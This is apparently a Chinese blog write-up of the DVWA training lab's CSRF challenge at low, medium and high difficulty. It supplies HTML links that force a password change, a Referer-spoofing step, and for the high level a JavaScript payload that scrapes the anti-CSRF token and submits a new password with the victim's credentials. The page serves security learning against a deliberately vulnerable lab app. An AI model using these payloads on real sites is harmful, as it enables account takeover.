w28DVWA-csrf实例

DVWA-csrf实例

low级别

修改密码:修改的密码通过get请求,暴露在url上。
在这里插入图片描述
写一个简单的html文件,里面伪装修改密码的文字,代码如下:

<html>
    <body>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-low
        </a>
    </body>
</html>

在这里插入图片描述

点击"dvwa-csrf-low"文字后,跳转到dvwa的修改密码界面,提示Password changed(密码已修改)。
在这里插入图片描述

middle级别

修改密码:修改的密码通过get请求,暴露在url上。
在这里插入图片描述
写一个简单的html文件,里面伪装修改密码的文字,代码如下:

<html>
    <body>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-low
        </a>
        </br>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-middle
        </a>
    </body>
</html>

在这里插入图片描述
点击"dvwa-csrf-middle"文字后,跳转到dvwa的修改密码界面,提示the request didn’t look correct (请求不正确)。
在这里插入图片描述
查看源码发现,会校验http_referer和server_name两个参数不为空。
在这里插入图片描述
对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略
成功的请求
在这里插入图片描述
失败的请求
在这里插入图片描述
利用bp工具,补上referer的参数。
在这里插入图片描述

网上另外解法:修改host和referer为localhost或127.0.0.1,其实也是遵循同源策略。
在这里插入图片描述
在这里插入图片描述

high级别

修改密码:修改的密码通过get请求,暴露在url上,并且带上user_token。
在这里插入图片描述

写一个简单的html文件,里面伪装修改密码的文字,代码如下:

<html>
    <body>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-low
        </a>
    </br>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-middle
        </a>
    </br>
    <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change&user_token=96f6243c53766d30d5e51cf92c15f9a3#">
        dvwa-csrf-high
    </a>
    </body>
</html>

在这里插入图片描述
点击"dvwa-csrf-high"文字后,跳转到dvwa的修改密码界面,提示csrf token is incorrect (csrf的token错误)。

在这里插入图片描述

对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略
成功的请求
在这里插入图片描述
失败的请求
在这里插入图片描述
利用bp工具,补上referer的参数。结果还是失败。因此查看源码,#1这行有进行token的校验。#2这行进行token生成,大致可以分析出token生成后一次性校验,跟验证码同理。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token  #1
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token  #2
generateSessionToken();

?>

基于分析出的结论,要构建一个新请求,先调用#2,再调用修改密码的请求,此时为了避免跨域问题。将写好的html直接放到dvwa下。

<html>
    <body>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-low
        </a>
    </br>
        <a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
            dvwa-csrf-middle
        </a>
    </br>
    <a  href="javascript:void(0);" onclick="initJS()">
        dvwa-csrf-high
    </a>
    </body>
    <script >
        function initJS(){
           
var theUrl = 'http://dvwa:7001/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
}else{
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
    if(xmlhttp.readyState ==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        
            var token = match[1];
                var new_url = 'http://dvwa:7001/vulnerabilities/csrf/?user_token='+token+'&password_new=1&password_conf=1&Change=Change';
                if(count==0){
                    count++;//此代码用于只执行一次修改密码
                    xmlhttp.open("GET",new_url,false);
                    xmlhttp.send();
                }
    }
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
        }
       
       
    </script>
</html>

在这里插入图片描述
用新密码可以成功登录,通关结束。

  • 13
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值